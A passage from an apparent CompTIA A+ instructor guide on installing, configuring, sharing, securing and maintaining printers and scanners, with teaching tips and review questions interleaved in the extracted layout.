determines output quality. Printer dots and screen image pixels are not
equivalent. It requires multiple dots to reproduce one pixel at acceptable quality.
Pixel dimensions are typically quoted in pixels per inch (ppi) to avoid confusion.
Vertical and horizontal resolution are often different, so you may see figures
such as 2400x600 quoted. The horizontal resolution is determined by the print
engine (that is, either the laser scanning unit or inkjet print head); vertical
resolution is determined by the paper handling mechanism.

• Paper handling means the sizes and types of paper or media that can be loaded. It
may be important that the printer can handle labels, envelopes, card stock, acetate/
transparencies, and so on. The amount of paper that can be loaded and output is
also important in high-volume environments. Overloaded output trays will cause
paper jams. If the output tray is low capacity, this could happen quite quickly in a
busy office.

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• Options add functionality. Examples include an automatic duplex unit for double-
sided printing and a finisher unit for folding, stapling, and hole punching. These may
be fitted by default or available for purchase as an add-on component.

Setup Location
When deploying a new print device, consider the following factors to select an
optimum setup location:
• The print device must have a power outlet and potentially a network data port.
Ensure that cables are run without being trip hazards and that the print device
is placed on a stable, flat surface that can bear the device weight with no risk of
toppling.

• As with a PC, ensure that the print device is not exposed to direct sunlight and
that there is space around it for air to flow. The area should be well-ventilated
to ensure dispersal of fumes such as ozone generated during printer operation.
Printer paper and most consumables should be stored where there is no risk of
high humidity or temperature extremes. Consult the material safety data sheet
(MSDS) accompanying the print device to check for any other special installation
considerations.

• The print device should be accessible to its users, but take account of noise
and foot traffic that might be disruptive to employees working at nearby desks.
If a print device is used to output confidential information, it may need to be
installed in an access-controlled area.

Unboxing
When you have selected an installation location, follow the manufacturer’s
instructions to unbox and set up the printer. Be aware of the following general
factors:
• Many print devices are heavy and may require two persons to lift safely. Make
sure you use safe lifting techniques and bend at the knees to avoid damaging
your back. Identify handle locations on the device, and use only those to grip and
lift it. If carrying a bulky device, ensure the path is free from trip hazards.

• Printer parts will be secured using packing strips and supports. Ensure that these
are all removed before the printer is switched on. Remember to check for strips
on removable components that are concealed by panels.

• A print device should normally be left to acclimate after removing the packaging
materials. Leave the device unboxed and powered off for a few hours to reduce
risks from condensation forming within an appliance that has moved from a cold
storage/transport environment to a warmer installation environment. Similarly,
printer paper should be stored for a day or more before use to allow it to adjust
to the temperature and humidity of the installation location.
Show
Slide(s)
Print Device Connectivity Print Device
Connectivity
Each print device supports a range of wired and wireless connection interfaces.
Teaching
USB Print Device Connectivity Tip
Install a printer with USB connectivity, connect the device plug (usually a Type B Note that a printer’s
wireless connection
connector) to the printer’s USB port and the Type A host plug to a free port on the
can either be
computer. In most cases, the OS will detect the printer using Plug and Play and configured as joining
install the driver automatically. You can confirm that the printer is successfully a WLAN or as Wi-Fi
installed and print a test page using the driver or OS utility. direct (creating a PAN).

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Using Windows Settings to verify printer installation to the USB port.

(Screenshot courtesy of Microsoft.)

Ethernet Print Device Connectivity

Most printers are fitted with an Ethernet network adapter and RJ45 port. The print
device can be configured to obtain an Internet Protocol (IP) configuration from a
Dynamic Host Configuration Protocol (DHCP) server or be manually configured. The
print device’s IP can also be registered as a host record on a Domain Name System
(DNS) server to facilitate client connections via a fully qualified domain name (FQDN).
Most printers provide a mechanism for locally configuring the printer’s network
settings. Usually, this is by means of a menu system that you navigate by using an
LCD display and adjacent buttons or a touchscreen on the front of the printer.

Setting the IP address configuration method via the printer's control panel.
(Image courtesy of CompTIA.)

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This method is suitable for small office environments where you have few printers
to manage. It is also useful in troubleshooting situations when the printer is
inaccessible from the network. However, the printer vendor will usually supply a
web-based utility to discover and manage its printers, whereas more advanced
management suites are available for enterprise networks.

Managing a printer using a browser.

The printer will need to communicate with computers over one or more TCP or
UDP network ports. If a network connection cannot be established, verify that these
ports are not being blocked by a firewall or other security software.

Wireless Print Device Connectivity

The two principal wireless printer interfaces are Bluetooth and Wi-Fi.
To connect a Windows client to a printer via Bluetooth, use the print device control
panel to make it discoverable, then use the Bluetooth page in Windows Settings to
add the device.
Wi-Fi connectivity can be established in two different ways:
• Infrastructure mode—Connect the print device to an access point to make
it available to clients on the network via an IP address or FQDN. The printer’s
wireless adapter must support an 802.11 standard available on the access point.

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Using the printer control panel to verify Wi-Fi connection status in infrastructure mode.
(Image courtesy of CompTIA.)

• Wi-Fi Direct—Configure a software-implemented access point on the print

device to facilitate connections to client devices.

Printer Drivers and Page Description Languages

Show Applications that support printing are typically what you see is what you get
Slide(s) (WYSIWYG), which means that the screen and print output are supposed to be
Printer Drivers and identical. To achieve this, the printer driver provides an interface between the print
Page Description device and the operating system. If a networked print device is used by clients with
Languages different OSs, each client must be installed with a suitable driver. Note that if the
client OS is 64-bit, a 64-bit driver is required.
Teaching
Tip Many older print devices have become unusable as the vendor has not developed a
You might want 64-bit driver for them. If no up-to-date driver is available from Microsoft, download the
to note that many driver from the printer vendor's website, extract it to a folder on your PC, then use the
printers designed for Have Disk option in the Add Printer Wizard to install it.
general office/home
use in Windows now
use Microsoft’s XML The appropriate print driver will normally be selected and installed when the print
paper specification device connection is detected. This is referred to as Plug and Play (PnP). In some
(XPS) PDL/driver. circumstances, you might need to add the driver manually or choose a driver
version with support for a particular page description language (PDL).
A PDL is used to create a raster file from the print commands sent by the software
application. A raster file is a dot-by-dot description of where the printer should
place ink. In general terms, a PDL supports the following features:
• Scalable fonts—originally, characters were printed as bitmaps. A bitmap font
consists of dot-by-dot images of each character at a particular font size. This meant
that the character could only be printed at sizes defined in the font. Scalable
fonts are described by vectors. A vector font consists of a description of how each
character should be drawn. This description can be scaled up or down to different
font sizes. All Windows printers support scalable TrueType or OpenType fonts.

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• Vector graphics—as with fonts, scalable images are built from vectors, which
describe how a line should be drawn rather than provide a pixel-by-pixel
description, as is the case with bitmap graphics.

• Color printing—computer displays use an additive red, green, blue color model.
The subtractive model used by print devices uses the reflective properties of
cyan, magenta, yellow, and black (CMYK) inks. A PDL’s support for a particular
color model provides an accurate translation between on-screen color and print
output and ensures that different d evices produce identical output.

The "K" in CMYK is usually explained as standing for "key," as in a key plate used to align
the other plates in the sort of offset print press used for professional color printing in
high volumes. It might be more helpful to think of it as "blacK," though.

The choice of which PDL to use will largely be driven by compatibility with software
applications. Adobe PostScript is a device independent PDL and often used for
professional desktop publishing and graphical design output. HP’s Printer Control
Language (PCL) is more closely tied to individual features of printer models and
can introduce some variation in output depending on the print device. PCL is
usually a bit faster than PostScript, however. Many Windows print devices default to
using Microsoft’s XML paper specification (XPS) PDL.

A print device might support more than one PDL—this HP printer supports both Printer Control
Language (PCL) and PostScript (PS). (Screenshot courtesy of Microsoft.)

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Printer Properties
Show Each logical printer object can be set up with default configuration settings via its
Slide(s) driver or app.
Printer Properties

Teaching
Tip
Make sure students
can distinguish
between options set
as printer properties
and options set as
printing preferences.

Viewing the print queue and configuring preferences through the Printers and Scanners Settings
app page. (Screenshot courtesy of Microsoft.)

In Windows, there are two main configuration dialogs for a local printer: Printer
Properties and Printing Preferences.
A printer’s Properties dialog allows you to manage configuration settings for the
printer object and the underlying hardware, such as updating the driver, printing
to a different port, sharing and permissions, setting basic device options (such as
whether a duplex unit or finisher unit is installed), and configuring default paper
types for different feed trays.

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Printer properties—this HP printer allows defaults and installable options to be

configured here. (Screenshot courtesy of Microsoft.)

The About tab contains information about the driver and the printer vendor and
may include links to support and troubleshooting tips and utilities.

Printing Preferences
In contrast to the Properties dialog box, the Preferences dialog sets the default Show
print job options, such as the type and orientation of paper or whether to print in Slide(s)
color or black and white. These settings can also be changed on a per-job basis by Printing Preferences
selecting the Properties button in the application’s Print dialog. Alternatively, the
printer may come with management software that you can use to change settings. Teaching
Tip
Note that printing
preferences are set
as defaults but can
also be set for each
job via the software
application’s Print
dialog.

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Printing Preferences dialog box—this shortcuts tab lets you select from preset
option templates. (Screenshot courtesy of Microsoft.)

Paper/Quality
The Paper/Quality tab allows you to choose the type of paper stock (size and type)
to use and whether to use an economy or draft mode to preserve ink/toner. You
can also use the Color tab to select between color and grayscale printing.

Use the Paper/Quality tab to configure the paper type and whether to use a reduced
ink/toner economy mode. (Screenshot courtesy of Microsoft.)

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Finishing
The Finishing tab lets you select output options such as whether to print on both
sides of the paper (duplex), print multiple images per sheet, and/or print in portrait
or landscape orientation.

Printer Sharing
The interfaces on a print device determine how it is connected to the network. The Show
printer sharing model describes how multiple client devices access the printer. Slide(s)
Some printers come with integrated or embedded print server hardware and Printer Sharing
firmware, allowing client computers to connect to them directly over the network
without having to go via a server computer. Teaching
Tip
This is an important
section. Make
sure students can
distinguish between
connecting to a
printer directly over
the network and
connecting to a printer
object shared via a PC
configured as a print
server.
Note that the
differences between
Sharing and Security
permissions in
Windows, plus the use
of accounts generally,
are covered in more
detail in the Core 2
course.

Installing a network printer using a vendor tool. The printer has been connected to the network
via an Ethernet cable and been assigned an Internet Protocol (IP) address by a Dynamic Host
Configuration Protocol (DHCP) server.

A public printer is configured with no access controls so any guest client may use it.

Windows Print Server Configuration

As an alternative to allowing clients to connect directly to the print device, any
computer with a print device installed can share that printer object for use by other
client computers. The print server could be connected to the print device via a
local USB port or over the network. This sharing model allows more administrative
control over which clients are allowed to connect. The printer object can be
configured with permissions that allow only authenticated users to submit print
jobs.
In Windows, a share is configured using the Sharing tab in the printer’s Properties
dialog. Drivers for different operating systems can also be made available so that
clients can download and install the appropriate driver when they connect to the
print share.

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Sharing a printer via the Printer Properties dialog box. Use the Additional Drivers button
from the Sharing page to install drivers for operating systems other than the host print server.
(Screenshot courtesy of Microsoft.)

If the network has clients running a mix of different operating systems, you need
to consider how to make a printer driver available for each supported client. If the
printer supports a “Type 3” driver, you need only add x86 (32-bit Windows) and/or
x64 (64-bit Windows) support. For earlier “Type 2” drivers, each specific Windows
version requires its own driver.

Windows 10 adds support for Type 4 drivers. These are designed to move toward a print
class driver framework, where a single driver will work with multiple devices. Where a
specific print device driver is required, the client obtains it from Windows Update rather
than the print server.

Shared Printer Connections

Ordinary users can connect to a network printer if the print server administrator
has given them permissions to use it. One way of doing this is to browse through
the network resources using the Network object in File Explorer. Open the server
computer hosting the printer, then right-click the required printer and select
Connect.

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Connecting to a network printer via File Explorer. (Screenshot courtesy of Microsoft.)

Printer Security
Use of printers raises several security issues, including access to print services and Show
risks to the confidentiality of printed output. Slide(s)
Printer Security
User Authentication
Teaching
It may be necessary to prevent unauthorized use of a network printer. User
Tip
authentication means that the printer sharing server or print device will only accept
Explain that user
print jobs from authorized user accounts.
authentication
User authentication can be configured on a print share. For example, in Windows, determines whether
the Sharing and Security tabs can be configured with a list of users or groups a user can submit a
print job to the printer
permitted to submit print jobs. in the first place.
Secured print holds
Windows shares, permissions, and authentication are covered in more detail in the Core the print job until the
2 course. user confirms that he
or she is physically
present at the print
device by inputting
a PIN or presenting
The print device might support user authentication options for clients who connect a badge. This is
directly. A local authentication option means that a list of valid usernames and designed to prevent
passwords is stored on the print device itself. A network option means that the confidential or privacy-
sensitive documents
print device can communicate with a directory server to authenticate and authorize from being lost or
users. stolen.

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Secured Print and Badging

A secured print is held on the print device until the user authenticates directly with
the print device. This mitigates the risk of confidential information being intercepted
from the output tray before the user has had time to collect it. Authentication to
release the print job might be supported using different formats:
• PIN entry requires the user to input the correct password or code via the device
control panel.

• Badging means the print device is fitted with a smart card reader. The employee
must present his or her ID badge to the reader to start the print job.

The secured print option may be selected as a default option or configured for
a particular print job. Secured prints may only be cached for a limited time and
deleted if not printed in time. The print device might require a memory card or
other storage to cache encrypted print jobs.

Audit Logs
A printer share server or print device can be configured to log each job. This
provides an audit record of documents that were sent to the printer by given user
accounts and client devices. An audit log could be used to identify documents
that were printed and have gone missing or to identify unauthorized release of
information. If the log is generated on the print device, a log collector such as syslog
can be configured to transmit the logs to a centralized log server.

Scanner Configuration
Show Many office printers are implemented as multi-function devices (MFDs). An MFD
Slide(s) typically performs the functions of a printer, scanner/copier, and fax machine.
Scanner Configuration A scanner is a digital imaging device, designed to create computer file data from
a real-life object. Typically, scanners handle flat objects, like documents, receipts,
Teaching
or photographs. Optical Character Recognition (OCR) software can be used to
Tip
convert scanned text into digital documents, ready for editing.
Make sure students
understand the
options that must be
configured to support
the different network
scan service types.

An MFD that can scan, print, and fax documents. (Image © 123RF.com)

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Scanner Types
Scanners are available in two basic formats: A flatbed scanner works by shining a
bright light at the object, which is placed on a protective glass surface. A system of
mirrors reflects the illuminated image of the object onto a lens. The lens either uses
a prism to split the image into its component RGB colors or focuses it onto imaging
sensors coated with different color filters. This information is used to create a
bitmap file of the object. An automatic document feeder (ADF) passes paper over
a fixed scan head. This is a more efficient means of scanning multi-page documents.

Network Scan Services

An MFD or standalone scanner can be configured as a network device in the same
way as a basic print device. When configured on the network, one or more services
is used to direct the scan output to a particular media:
• Scan to email means that the scan is created as a file attachment to an email
message. The MFD must be configured with the IP address of an SMTP server.
The SMTP server would typically authenticate the user account before accepting
the message for delivery.

• Server Message Block (SMB) or scan to folder means that the scan is created
as a file on a shared network folder. The MFD must be configured with the path
to a suitably configured file server and shared folder. Each user must have
permission to write to the share.

• Scan to cloud services mean that the scan is uploaded as a file to a document
storage and sharing account in the cloud. Cloud services such as OneDrive or
Dropbox will generally be available as options on the MFD, or there may be the
ability to configure a custom service via a template. The scan dialogs will allow
the user to authenticate to a given cloud account.

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Review Activity:
Printer and Multifunction Devices
3

Show Answer the following questions:

Slide(s)
Review

Teaching 1. Following some past issues with faults arising in print devices because
Tip of improper setup procedures, you are updating the company’s work
Take some time at instructions for printer installation. You have noted that technicians
the end of each topic must refer to the product instructions, use safe lifting techniques, and
to answer questions.
You can use the
ensure removal of packing strips. What additional guidance should you
review questions include?
for discussion in
class or set them for Allow the print device to acclimate for a few hours after unboxing to avoid risks
students to complete from condensation.
individually during or
after class. 2. You use three Windows 10 applications that need to print to a Canon
inkjet printer. How many printer drivers must you install?

One. Applications rely on the operating system to mediate access to devices. They
do not need their own drivers.

3. Users in the marketing department complain that a recently installed

printer is not producing accurate color output. What step might resolve
the problem?

Switch to a PostScript (PS) driver. This is likely to have better support for accurate
color models. You might also suggest running a calibration utility.

4. True or false? To enable printer sharing via Windows, the print device
must be connected to the Windows PC via an Ethernet or Wi-Fi link.

False—any print device can be shared via printer properties. The print device can
be connected to the Windows print server over USB, Bluetooth, Ethernet, or Wi-
Fi. Other clients connect to the printer via the share, however, so the Windows PC
must be kept on to facilitate printing.

5. What configuration information does a user need to use a print device

connected to the same local network?

The print device’s IP address or host name. You might note that vendor utilities
can search for a connected device on the local network, so “None” could also be a
correct answer.

6. To minimize paper costs, a department should use the duplex printing

option on a shared printer by default. The print device is already
configured with an automatic duplex finishing unit. What additional step
should you take to try to ensure duplex printing?

Set duplex mode as the default under Printing Preferences.

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Topic 9B
Replace Print Device Consumables
7

CORE 1 EXAM OBJECTIVES COVERED Show

3.7 Given a scenario, install and replace printer consumables. Slide(s)
Replace Print Device
Consumables
Before you can provide the right level of support for print services, you must Teaching
understand how the various components work within each type of print device Tip
to provide the desired outputs. In this topic, you will learn the components and
This topic examines
maintenance procedures for laser, inkjet, thermal, impact, and 3-D print device the different print
types. device technologies
and associated
procedures for
Laser Printer Imaging Process maintenance.
Laser printers are one of the most popular printer technologies for office Show
applications because they are inexpensive (both to buy and to run), quiet, and fast, Slide(s)
and they produce high-quality output that does not smear or fade. There are both Laser Printer Imaging
grayscale and color models. Process
The laser print process follows the steps detailed in the following sections. Interaction
Opportunity
If you have a laser
printer, ask learners
to inspect it to identify
the location of the
paper transport
mechanism, toner
cartridge/drum
assembly, and fuser
assembly.

The laser print process. (Image © 123RF.com)

Processing Stage
Laser printers produce output as a series of dots. The OS driver encodes the page
in a page description language and sends it to the print device. In the processing
stage, the printer’s formatter board processes the data to create a bitmap (or
raster) of the page and stores it in the printer’s RAM.

Lesson 9: Supporting Print Devices | Topic 9B

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Charging Stage
In the charging stage, the imaging drum is conditioned by the primary charge
roller (PCR). The PCR is a metal roller with a rubber coating powered by a high
voltage power supply assembly. The PCR applies a uniform -600 V electrical charge
across the drum’s surface.

Exposing Stage
The surface coating of the photosensitive imaging drum loses its charge when
exposed to light. In the exposing stage, as the laser receives the image information,
it fires a short pulse of light for each dot in the raster to neutralize the charge that
was applied by the PCR. The pulsing light beam is reflected by a polygonal mirror
through a system of lenses onto the rotating photosensitive drum. The drum
ends up with a series of raster lines with charge/no-charge dots that represent an
electrostatic latent image of the image to be printed.

Developing Stage
Laser toner is composed of a fine compound of dyestuff and either wax or plastic
particles. The toner is fed evenly onto a magnetized developer roller from a
hopper.
The developer roller is located very close to the photosensitive drum. The
toner carries the same negative charge polarity as the drum, which means that,
under normal circumstances, there would be no interaction between the two
parts. However, once areas of charge have been selectively removed from the
photosensitive drum by the laser, the toner is attracted to them and sticks to those
parts of its surface. The drum, now coated with toner in the image of the document,
rotates until it reaches the paper.

The imaging drum, PCR, developer roller, and toner hopper are provided as components
within a toner cartridge.

Transferring Stage
The transferring stage moves the toner from the drum onto the print media. The
paper transport mechanism includes components such as gears, pads, and rollers
that move the paper through the printer. Pickup components lift a single sheet of
paper from the selected input tray and feed it into the printer. To do this, a pickup
roller turns once against the paper stack, pushing the paper into a feed and
separation roller assembly. This assembly is designed to allow only one sheet to
pass through.

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Pickup, feed, and separation rollers on an HP 5Si laser printer. (Image courtesy of CompTIA.)

A printer will have a number of automatic trays and a manual tray. The manual feed
tray uses a separation pad rather than rollers.

When the paper reaches the registration roller, a signal tells the printer to start the
image development process. When the drum is ready, the paper is fed between
the imaging drum and the high voltage transfer roller. The transfer roller applies
a positive charge to the underside of the paper. This causes the toner on the drum
to be attracted to the paper. As the paper leaves the transfer assembly, a static
eliminator strip (or detac corona) removes any remaining charge from the paper.
This is done to avoid the paper sticking to the drum or curling as it enters the fuser
unit.

Fusing Stage
From the transfer assembly, the paper passes into the fuser assembly. The fuser
unit squeezes the paper between a hot roller and a pressure roller so that the toner
is melted onto the surface of the paper. The hot roller is a metal tube containing a
heat lamp; the pressure roller is typically silicon rubber. The heat roller has a Teflon
coating to prevent toner from sticking to it.

Cleaning Stage
To complete the printing cycle, the photosensitive drum is cleaned to remove
any remaining toner particles using a cleaning blade, roller, or brush resting on
the surface of the drum. Any residual electrical charge is removed, using either a
discharge (or erase lamp) or the PCR.

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The entire laser printer cycle takes place in one smooth sequence, but since the
circumference of the drum that processes the image is smaller than a sheet of paper,
the early stages must be repeated 2–4 times (according to size) to process a single page.

Duplex Printing and Paper Output Path

When the paper has passed through the fuser, if a duplexing assembly unit is
installed, it is turned over and returned to the developer unit to print the second
side. Otherwise, the paper is directed to the selected output bin using the exit
rollers.
If there is no auto duplex unit, the user can manually flip the paper stack. When
manual duplex mode is selected for the print job, the printer pauses after printing
the first side of each sheet. The user must then take the printed pages and return
them (without changing the orientation) to the same input paper tray. Once this is
done, the user can resume the print job.

Color Laser Printers

Color laser print devices use separate toner cartridges for each additive CMYK color.
Color laser printers can use different processes to create the image. Some may use
four passes to put down each color in turn; others combine the colored toner on a
transfer belt and print in one pass.

Laser Printer Maintenance

Show As devices with mechanical parts and consumable items that deplete quickly,
Slide(s) printers need more maintenance than most other IT devices. Printers generate a
Laser Printer lot of dirt—principally paper dust and ink/toner spills—and consequently require
Maintenance regular cleaning. Consumable items also require replacing frequently under
heavy use. To keep a print device working in good condition requires a regular
Teaching maintenance schedule and user training.
Tip
Point out that the When performing any type of maintenance other than loading paper, unplug the printer
best source of from the power supply. Open the panels, and allow all components to cool to room
information on when temperature.
and how to perform
maintenance on any
printer is to refer to
the manufacturer’s
documentation.
Loading Paper
Make sure students The printer will report when a tray runs out of paper. When loading new paper,
know which remember the following guidelines:
components are
included in the • Use good quality paper designed for use with the model of printer that you have
maintenance kit. and the required output type (document versus photo, for instance).

• Position the media guides at the edges of the loaded stack. The printer uses
sensors from the guides to detect the paper size. Different trays may support
different types, sizes, and thicknesses of media. Do not add unsupported media
to a tray or overload it.

• Do not use creased, dirty, or damp paper. Ensure that paper is stored in a
climate-controlled location with no excessive humidity, temperature, or dust.

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Replacing the Toner Cartridge

You will need to maintain a supply of the proper toner cartridges for your printer
model. When toner is low, the printer will display a status message advising you of
the fact. Frugal departments may continue printing until the actual output starts
to dip in quality. Removing the cartridge and rocking gently from front-to-back can
help to get the most out of it. Color lasers will usually have four cartridges for the
different colors, which can be replaced separately.
To replace the toner cartridge, remove the old cartridge by opening the relevant
service panel and pulling it out. Place the cartridge in a bag to avoid shedding toner.

Accessing the toner cartridge on a printer. (Image by Andriy Popov © 123RF.com)

Take the new cartridge and remove the packing strips as indicated by the
instructions. Rock the cartridge gently from front to back to distribute the toner
evenly. Insert the cartridge, close the service panel, turn on, and print a test page.

The drum in the toner cartridge is light-sensitive. Fit the cartridge in the print device
immediately.

Toner cartridges are Waste from Electrical and Electronic Equipment (WEEE) and
must be disposed of according to local regulations, such as by recycling them at an
approved facility. Do not dispose of cartridges as general waste.

Cleaning the Printer

Consult and follow the manufacturer’s specific recommendations for cleaning and
maintenance. The following guidelines generally apply:
• Use a damp cloth to clean exterior surfaces.

• Wipe dust and toner away from the printer interior or exterior with a soft cloth,
or use a toner-safe vacuum.

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Do not use a compressed air blaster to clean a laser printer! You risk blowing toner
dust into the room, creating a health hazard. Do not use an ordinary domestic vacuum
cleaner. Toner is conductive and can damage the motor. Toner is also so fine that it will
pass straight through the dust collection bag and back into the room.

• If toner is spilled on skin or clothes, wash it off with cold water. Using hot water
is not recommended because heat can open the pores of your skin and allow
toner particles to penetrate more easily.

• Use IPA (99% Isopropyl Alcohol solution) and non-scratch, lint-free swabs to
clean rollers and electronic contacts. Take care not to scratch a roller.

• Follow the manufacturer’s recommendations for replacing the printer’s dust and
ozone filters regularly.

Replacing the Maintenance Kit

A maintenance kit is a set of replacement feed rollers, transfer roller, and fuser
unit. Replacement of the maintenance kit is guided by the printer’s internal copy
count of the number of pages that it has printed. The printer’s status indicator will
display the message “Maintenance Kit Replace” at this point.
Remove the old fuser and rollers and clean the printer. Install the fuser and new
rollers—remembering to remove the packing strips and following the instructions
carefully.
As with toner cartridges, use a recycling program to dispose of the fuser unit and
old rollers in an environmentally responsible manner.

Calibrating a Printer
Calibration is the process by which the printer determines the appropriate print
density or color balance (basically, how much toner to use). Most printers calibrate
themselves automatically. If print output is not as expected, you can often invoke
the calibration routine from the printer’s control panel or its software driver.

Inkjet Printer Imaging Process

Show Inkjet printers are often used for good-quality color output, such as photo
Slide(s) printing. Inkjets are typically cheap to buy but expensive to run, with costly
Inkjet Printer Imaging
consumables such as ink cartridges and high-grade paper. Compared to laser
Process printers, they are slower and often noisier, making them less popular in office
environments, except for low-volume, good-quality color printing.
Interaction
Opportunity Inkjet Printer Imaging Process
If you have inkjet
printer internals that Inkjets work by firing microscopic droplets of ink at the paper. The process creates
learners can examine high-quality images, especially when specially treated paper is used, but they can be
without the covers, prone to smearing and fading.
that could be useful.
There are two main types of inkjet print head. Epson printers use a charge (or
piezoelectric) method. HP, Canon, and Lexmark use a thermal method. Each of
these four vendors has licensed its inkjet technology to several other vendors to
produce re-branded versions of its printers.

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• With the thermal method, the ink at each nozzle in the print head is heated,
creating a bubble. When the bubble bursts, it sprays ink through the nozzle and
draws more ink from the reservoir. In general, thermal inkjet print heads are
cheaper and simpler to produce, but the heating elements have a relatively short
life. Most thermal printers use a combined print head and ink reservoir. When
the ink runs out, the print head is also replaced.

• In the Epson design, the nozzle contains a piezoelectric element, which changes
shape when a voltage is applied. This acts like a small pump, pushing ink through
the nozzle and drawing ink from the reservoir.

The inkjet printing process. (Image © 123RF.com)

Carriage System
Inkjet printers build up the image line by line. The print head is moved back and
forth over the paper by a carriage system. On some types of printers, ink is applied
when the print head moves in one direction only; bidirectional models apply ink
on both the outward and return passes over the page. The carriage system uses a
stepper motor, pulley, and belt to move the print head, a guide shaft to keep the
print head stable, and sensors to detect the position of the print head. A flat ribbon
data cable connects the print head to the printer’s circuit board.
When a line has been completed, another stepper motor advances the page a little
bit, and the next line or row is printed.
There may also be a lever used to set the platen gap or the printer may adjust this
automatically depending on driver settings. The platen gap is the distance between
the print head and the paper. Having an adjustable platen gap allows the printer to
use thicker media.

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The carriage mechanism in an inkjet printer. (Image by Erik Bobeldijk © 123RF.com)

Inkjet Printer Maintenance

Show Inkjets do not usually handle such high print volumes as laser printers, so
Slide(s) maintenance focuses on paper stocking and replacing or refilling ink cartridges,
Inkjet Printer which always seem to run down very quickly. Manufacturers recommend not trying
Maintenance to clean inside the case as you are likely to do harm for no real benefit. The outside
of the printer can be cleaned using a soft, damp cloth.

Paper Handling and Duplexing Assembly

Most inkjets only support one paper path, with single input and output trays,
though some have automatic duplexers, and some may have accessory trays.
Printers are generally split between models that load from the top and output at
the bottom and those that have both input and output bins at the bottom and turn
the paper (an “up-and-over” path).
1. The paper pickup mechanism is similar to that of a laser printer. A load roller
turns against the paper stack to move the top sheet while a separation roller
prevents more than one sheet entering.

2. When the paper is sufficiently advanced, it is detected by a sensor. The

stepper motor controlling the paper-feed mechanism advances the paper as
the print head completes each pass until the print is complete.

3. The eject rollers then deliver the paper to the duplexing assembly (if installed
and duplex printing has been selected) or the output bin. Some inkjets with a
curved paper path may have a “straight-through” rear panel for bulkier media.

Inkjets tend to have smaller paper trays than laser printers and therefore can
need restocking with paper more often. Most inkjets can use “regular” copier/laser
printer paper, but better results can be obtained by using less absorbent, premium
grades of paper stock, specifically designed for inkjet use. Often this type of paper is
designed to be printed on one side only—make sure the paper is correctly oriented
when loading the printer.

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Replacing Inkjet Cartridges

Inkjet print heads are often considered consumable items. Often this is unavoidable
because the print head is built into the ink cartridge, as is the case with most (but
not all) thermal print heads. Epson piezoelectric print heads are non-removable and
designed to last as long as the rest of the printer components.
The cartridge reservoir has sensors to detect the level of ink remaining. A color
printer needs at least four reservoirs for each of the CMYK inks. These reservoirs
may come in a single cartridge or there may be separate cartridges for black and
colored ink, or each ink may come in its own cartridge. Some inkjets use light cyan
and light magenta inks to support a wider color gamut.

Ink cartridges. (Image © 123RF.com)

When the inkjet’s driver software determines that a cartridge is empty, it will
prompt you to replace it. Check the printer’s instruction manual for the correct
procedure.

Other Inkjet Maintenance Operations

Two other maintenance operations may be required periodically.
• Print head alignment—If output is skewed, use the print head alignment
function from the printer’s property sheet to calibrate the printer. This is
typically done automatically when you replace the ink cartridges.

• Print head cleaning—A blocked or dirty nozzle will show up on output as a

missing line. Use the printer’s cleaning cycle (accessed via the property sheet
or control panel) to try to fix the problem. If it does not work, there are various
inkjet cleaning products on the market.

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Use the Maintenance or Tools tab on an inkjet printer's property sheet to access cleaning
routines and calibration utilities. (Screenshot courtesy of Microsoft.)

Thermal Printer Maintenance

Show A thermal printer is a general term for any device that uses a heating element
Slide(s) to create the image on the paper. There are several types of thermal printers that
Thermal Printer use significantly different technologies and are intended for different uses, but
Maintenance the most common type that you are likely to have to support is the direct thermal
printer. Portable or small form factor direct thermal transfer printers are used for
Interaction high-volume barcode and label printing and to print receipts. Such devices typically
Opportunity support 200–300 dpi, with some models able to print one or two colors. Print
If you have a device speeds are measured in inches per second.
available, demonstrate
replacing the paper
roll on a thermal
printer. Point out the
difference between
the print side of the
paper and the back.

A direct thermal receipt printer. (Image © 123RF.com)

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Direct Thermal Printer Imaging Process

Most direct thermal print devices require special thermal paper that contains
chemicals designed to react and change color as it is heated by the heating
element within the printer to create images.
In the feed assembly, paper is friction-fed through the print mechanism by a
stepper motor turning a rubber-coated roller. Paper and labels may be fanfold or
roll format.

Direct thermal print process.

Direct Thermal Printer Maintenance Tips

When you are replacing the paper roll, you need to obtain the specific size and
type for the brand and model of thermal printer you are using. The process is
usually quite simple—just open the printer case, insert the roll, keeping the shiny,
heat-sensitive print side facing outward, then ensure that the end of the paper is
held in place by the print head when closing the case again.
Each receipt is separated by ripping the paper across serrated teeth. This can lead
to a build-up of paper dust in the printer. It can also lead to bits of paper debris
becoming lodged in the mechanism if a clean slice is not made and bits of leftover
paper fall into the printer. Use a vacuum or soft brush to remove any paper debris.
Label printers can end up with sticky residue inside the printer. If labels are not
loaded correctly, they can separate from the backing while being fed through the
printer. You will need to ensure users know how to properly load the labels and
how to clean up if labels get stuck inside the printer. Use a swab and appropriate
cleaning fluid, such as isopropyl alcohol (IPA), to clean the print head or any sticky
residue inhibiting the feed mechanism. Alternatively, you can often purchase
cleaning cards to feed through the printer to clean the print head safely.

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Impact Printer Maintenance

Show An impact printer strikes an inked ribbon against paper to leave marks. One
Slide(s) common type is the dot matrix printer, which uses a column of pins in a print head
Impact Printer
to strike the ribbon. Desktop dot matrix devices are no longer very widely deployed
Maintenance for document printing, but they are still used for specialist functions such as
printing invoices or pay slips on continuous, tractor-fed paper.

Example of a dot matrix printer. (Image by © 123RF.com)

Impact Printer Paper

Impact printers can be used with either plain, carbon, or tractor-fed paper:
• Plain paper is held firmly against the moving roller (the platen) and pulled
through the mechanism by friction as the platen rotates. A cut sheet feeder may
be added to some printers to automate the process of providing the next page.

• Carbon paper (or impact paper) is used to make multiple copies of a document
in the same pass (hence carbon copy, or “cc”). A sheet of carbon paper is
inserted between each sheet of plain paper, and when the print head strikes, the
same mark is made on each sheet.

• Tractor-fed paper is fitted with removable, perforated side strips. The holes
in these strips are secured over studded rollers at each end of the platen. This
type of paper is more suitable for multi-part stationery as there is less chance of
skewing or slippage since the end rollers fix the movement of the paper.

When you are loading a tractor-fed impact printer with paper, ensure that the
holes in the paper are engaged in the sprockets and that the paper can enter the
printer cleanly. Ensure that the lever is in the correct position for friction feed or
tractor feed as appropriate for the media being used.

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Impact Printer Components

An impact printer will also have some form of replaceable ribbon. Older-style
printers used to have a two-spool ribbon. However, most units now have a cartridge
device that slots over or around the carriage of the print head. These integrated
ribbons simplify the design of the printer because they can be made as a complete
loop moving in one direction only. The two-spool design requires a sensor and
reversing mechanism to change the direction of the ribbon when it reaches the end.
When the ribbon on an impact printer fails to produce sufficiently good print
quality, the ribbon-holder and contents are normally replaced as an integrated
component. Some printers can use a re-usable cartridge.
